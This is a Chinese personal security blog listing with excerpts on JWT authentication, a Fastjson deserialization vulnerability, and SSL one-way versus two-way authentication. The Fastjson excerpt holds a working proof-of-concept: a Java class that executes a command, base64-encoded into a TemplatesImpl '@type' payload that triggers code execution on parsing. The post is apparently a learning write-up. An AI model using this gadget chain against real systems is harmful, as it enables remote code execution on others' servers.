安全开发

背景前两天去某公司面试,问到了这个,感觉他们还是比较在意这个的,我直接说不了解,加上还有些其他问题,导致面试的级别到不到想要的薪资,研究了一下。JWTjsonwebtoken,一般用于身份认证(前后端分离项目,APP项目)传统token和JWT区别传统token用户登录,服务端返回token,并将token返回到服务端,用户下次请求时候需要携带token,服务端获取token后再去数据库中检验tokenjwt用户端登录,服务端返回token,服务端不保存,用户下次请求时候需要携带token,服务端检验token优势:相对于传统token,不需要存储到服务端JWT实现过程第一步,用户使用用户密码登录成功,后端服务使用jwt生成一个token返回给用户eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cjwt生成的token由3段字符串组成,由点连接第一段字符串header.内部包含一个算法/token类型json转换为字符串之后base64url加密base64UrlEncode(header)+"."+{"alg":"HS256","typ":"JWT"}第二段字符串payload,自定义值base64UrlEncode(payload),{"sub":"1234567890","name":"JohnDoe","iat":1516239022#过期时间}第三段字符串将1和2部分密文拼接将拼接的密文使用hs256加密+加盐对hs256加密的密文使用bast64url进行加密以后用户再来访问的时候需要校验token获取token对token用点进行切割把第2部分进行base64URl解密并获取paylod,检测超时时间把1,2部分评接再次进行hs256加密+加盐密码=base64(第3部分密码)。相等认证通过

2020-8-3 14 0
java

这个漏洞一直只了解个大概,最近有空深入研究一下JAVA环境javaversion"1.8.0_211"Java(TM)SERuntimeEnvironment(build1.8.0_211-b12)JavaHotSpot(TM)64-BitServerVM(build25.211-b12,mixedmode)建立一个USER类publicclassUser{privateintage;publicStringusername;privateStringsecret;publicintgetAge(){returnage;}publicvoidsetAge(intage){this.age=age;}publicStringgetUsername(){returnusername;}publicvoidsetUsername(Stringusername){this.username=username;}publicStringgetSecret(){returnsecret;}@OverridepublicStringtoString(){returnthis.age+","+this.username+","+this.secret;}}函数作用JSON.toJSONString(Object)将对象序列化成json格式JSON.toJSONString(Object,SerializerFeature.WriteClassName)将对象序列化成json格式,并且记录了对象所属的类的信息JSON.parse(Json)将json格式返回为对象(但是反序列化类对象没有@Type时会报错)JSON.parseObject(Json)返回对象是com.alibaba.fastjson.JSONObject类JSON.parseObject(Json,Object.class)返回对象会根据json中的@Type来决定JSON.parseObject(Json,User.class,Feature.SupportNonPublicField);会把Json数据对应的类中的私有成员也给还原直接用网上的利用POCimportcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclasspocextendsAbstractTranslet{publicpoc()throwsIOException{Runtime.getRuntime().exec("calc.exe");}@Overridepublicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){}@Overridepublicvoidtransform(DOMdocument,com.sun.org.apache.xml.internal.serializer.SerializationHandler[]haFndlers)throwsTransletException{}publicstaticvoidmain(String[]args)throwsException{poct=newpoc();}}编译这个文件,将其内容进行base64编码,用fastjson把对象还原importjava.io.*;importjava.util.HashMap;importjava.util.Map;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.parser.ParserConfig;importorg.apache.commons.io.IOUtils;importorg.apache.commons.codec.binary.Base64;publicclassVultest{publicstaticStringreadClass(Stringcls){ByteArrayOutputStreambos=newByteArrayOutputStream();try{IOUtils.copy(newFileInputStream(newFile(cls)),bos);}catch(IOExceptione){e.printStackTrace();}returnBase64.encodeBase64String(bos.toByteArray());}publicstaticvoidmain(String[]args)throwsUnsupportedEncodingException{ParserConfigconfig=newParserConfig();StringevilCode=readClass("D://code//fastjsonvul//target//classes//Poc.class");finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";Stringtext1="{\"@type\":\""+NASTY_CLASS+"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{},"+"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";Objectobj=JSON.parseObject(text1,Object.class,config,Feature.SupportNonPublicField);}}在excec下断点查看调用

2020-6-29 40 0
2020-6-9 63 0
2020-5-27 61 0
安全开发

SSL协议即用到了对称加密也用到了非对称加密(公钥加密),在建立传输链路时,SSL首先对对称加密的密钥使用非对称加密,链路建立好之后,SSL对传输内容使用对称加密。对称加密:速度高,可加密内容较大,用来加密会话过程中的消息公钥加密:加密速度较慢,但能提供更好的身份认证技术,用来加密对称加密的密钥一、SSL单向认证过程1、客户端向服务端发送SSL协议版本号、加密算法种类、随机数等信息2、服务端给客户端返回SSL协议版本号、加密算法种类、随机数等信息,同时也返回服务器端的证书,即公钥证书3、客户端使用服务端返回的信息验证服务器的合法性,验证通过后,则继续进行通信,否则终止通信,验证内容包括:a、证书是否过期b、发行服务器证书的CA是否可靠c、返回的公钥是否能正确解开返回证书中的数字签名d、服务器证书上的域名是否和服务器的实际域名相匹配4、客户端向服务器发送自己所能支持的对称加密方案,供服务器进行选择5、服务器在客户端提供的加密方案中选择加密程度最高的加密方式6、服务器将选择好的加密方式通过明文方式返回给客户端7、客户端接收到服务器返回的加密方案后,使用该加密方案生成产生随机码,用作通信过程中对称加密的密钥,使用服务端返回的公钥进行加密,将加密后的随机码发送至服务器8、服务器收到客户端返回的加密信息后,使用自己的私钥进行解密,获取对称加密密钥。在接下来的会话中,服务器和客户端将会使用该密码进行对称加密,保证通信过程中的信息安全。二、SSL双向认证过程1、客户端向服务器发送连接请求(SSL协议版本号、加密算法种类、随机数等信息)2、服务器给客户端返回服务器端的证书,即公钥证书,同时也返回证书相关信息(SSL协议版本号、加密算法种类、随机数等信息)3、客户端使用服务端返回的信息验证服务器的合法性(首先检查服务器发送过来的证书是否是由自己信赖的CA中心所签发的,再比较证书里的消息,例如域名和公钥,与服务器刚刚发送的相关消息是否一致,如果是一致的,客户端认可这个服务端的合法身份),验证通过后,则继续进行通信,否则终止通信,具体验证内容包括:a、证书是否过期b、发行服务器证书的CA是否可靠c、返回的公钥是否能正确解开返回证书中的数字签名d、服务器证书上的域名是否和服务器的实际域名相匹配4、服务端要求客户端发送客户端的证书,客户端会将自己的证书发送至服务端5、验证客户端的证书,通过验证后,会获得客户端的公钥6、客户端向服务器发送自己所能支持的对称加密方案,供服务器端进行选择7、服务器端在客户端提供的加密方案中选择加密程度最高的加密方式8、将加密方式通过使用之前获取到的公钥(客户的公钥)进行加密,返回给客户端9、客户端收到服务端返回的加密方案密文后,使用自己的私钥进行解密,获取具体加密方式,而后获取该加密方式的随机码,用作加密过程中的密钥,使用之前从服务端证书中获取到的公钥进行加密后,发送给服务端10、服务端收到客户端发送的消息后,使用自己的私钥进行解密,获取对称加密的密钥,在接下来的会话中,服务器和客户端将会使用该密码进行对称加密,保证通信过程中信息的安全三、SSL单向认证和SSL双向认证的区别SSL单向认证只要求站点部署了SSL证书就行,任何用户都可以去访问(IP被限制除外等),只是服务器提供了身份认证。SSL双向认证则是需要服务端与客户端提供身份认证,只能是服务端允许的客户去访问,安全性相对高一些。双向认证SSL协议要求服务器和用户双方都有证书。单向认证SSL协议不需要客户拥有CA证书,只需将服务器验证客户证书的过程去掉,以及在协商对称密码方案、对称通话密钥时,服务器发送给客户的是没有加过密的(这并不影响SSL过程的安全性)密码方案。这样,双方具体的通讯内容,就是加过密的数据,如果有第三方攻击,获得的只是加密的数据,第三方要获得有用的信息,就需要对加密的数据进行解密,这时候的安全就依赖于密码方案的安全。而幸运的是,目前所用的密码方案,只要通讯密钥长度足够的长,就足够安全,这也是强调使用128位加密通讯的原因。一般Web应用都是采用SSL单向认证的,原因很简单,用户数目广泛,且无需在通讯层对用户身份进行验证,一般都在应用逻辑层来保证用户的合法登入。但如果是企业应用对接,情况就不一样,可能会要求对客户端(相对而言)做身份验证,这时就需要做SSL双向认证。

2020-5-12 112 0
2020-5-11 77 0